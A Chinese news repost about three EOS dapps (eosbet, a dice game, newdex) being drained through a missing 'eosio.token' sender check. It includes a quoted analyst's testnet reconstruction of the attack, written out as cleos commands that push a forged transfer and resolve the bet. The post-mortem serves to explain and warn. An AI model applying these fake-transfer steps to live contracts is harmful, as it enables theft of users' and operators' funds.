三大EOS DAPP被黑客攻破薅走数万EOS

栏目: 编程工具 · 发布时间: 6年前

内容简介:昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。官方紧急发表声明,并关闭了游戏:eosbet刚被攻击关停,排名其后的

昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。

三大EOS DAPP被黑客攻破薅走数万EOS
eosbet

官方紧急发表声明,并关闭了游戏:

三大EOS DAPP被黑客攻破薅走数万EOS
eosbet官方紧急关闭了游戏

eosbet刚被攻击关停,排名其后的 dice游戏被同一个黑客再次攻破 ,使用同样的攻击手段, 转走大量EOS。。。。去中心化交易所 newdex也被用同样的手段攻破 。。。。。EOS Dapp前10中有3个被黑客成功攻破。。。。一下子,开发者都砸开了,难道是eos公链存在什么妖蛾子?

不过很快,币乎的一个技术大牛找到了问题的原因—— 仅仅因为缺少对代码调用是否来源于“eosio.token” 的判断 !我勒个去,这些开发者难道是零时工吗?这样低级的错误都能犯!

有大牛还原了黑客攻击流程(币乎作者cj1991)

在测试网,部署被攻击时的代码,实现一遍攻击方式,看看是否有效。

github代码: https://github.com/ganjingcun/bet-death-causes

这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。

cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11  cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer
// create account  cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi  cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi  cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
// set code  cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast  cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi
cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast  cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi
// set permission  cleos set account permission eosbetdice11 active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p eosbetdice11@owner  cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”safetransfer”,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner  cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner
cleos set account permission eosbetcasino random ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[]}’ owner -p eosbetcasino@owner
// initcontract  cleos push action eosbetdice11 initcontract ‘{“randomness_key”:”EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”}’ -p eosbetcasino
// test  cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon
// result  cleos get actions joetothemoon
cleos get table eosbetdice11 eosbetdice11 activebets
// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。  cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
 

步骤稍微讲解下,就是在测试网,创建相关账号,然后部署合约,然后执行攻击手段,然后开奖,成功证明,确实是 缺少了 判断 “eosio.token” 引起的。先执行 :

// test  cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon

也就是直接调用 合约的 tranfer :发现执行成功。获取等待开奖的下注记录:

cleos get table eosbetdice11 eosbetdice11 activebets

由于bet 的开奖方式,是先生成下注记录,然后在用一个号来开奖,所以,我们手动一步步还原的过程中,下注记录是存在的,接下来,就是调用开奖了:获取bet_id, 然后用 eosbetcasino 开奖

// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。

cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random

这里的开奖方式注意下,需要传入一个签名。请自己去生成。从直接调用 tansfer ,到生成下注记录,再到调用开奖。结论已经很明显了。根本不存在什么毁灭性bug,只是有一个 程序员 要祭天了而已..

文章来自: CocosBCX投资者社区 ( 原文链接

访问资讯分类,查看更多有价值的 区块链游戏 资讯。


以上所述就是小编给大家介绍的《三大EOS DAPP被黑客攻破薅走数万EOS》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

移动Web手册

移动Web手册

Peter-Paul Koch(彼得-保罗 科赫) / 奇舞团 / 电子工业出版社 / 2015-4 / 65.00元

《移动Web手册(双色)》主要讲解了移动Web开发和传统PC网站开发的不同之处。作者首先对移动互联网相关的运营商、设备、操作系统和软件进行了简单的介绍,让读者理解移动开发的复杂之处。接下来对移动设备上的各种浏览器进行了详细介绍,以及这些浏览器的市场占有率、特性支持等。《移动Web手册(双色)》为那些想进入移动Web开发领域的人提供了一些指导性的建议并对移动Web开发的未来进行了展望。 《移动......一起来看看 《移动Web手册》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换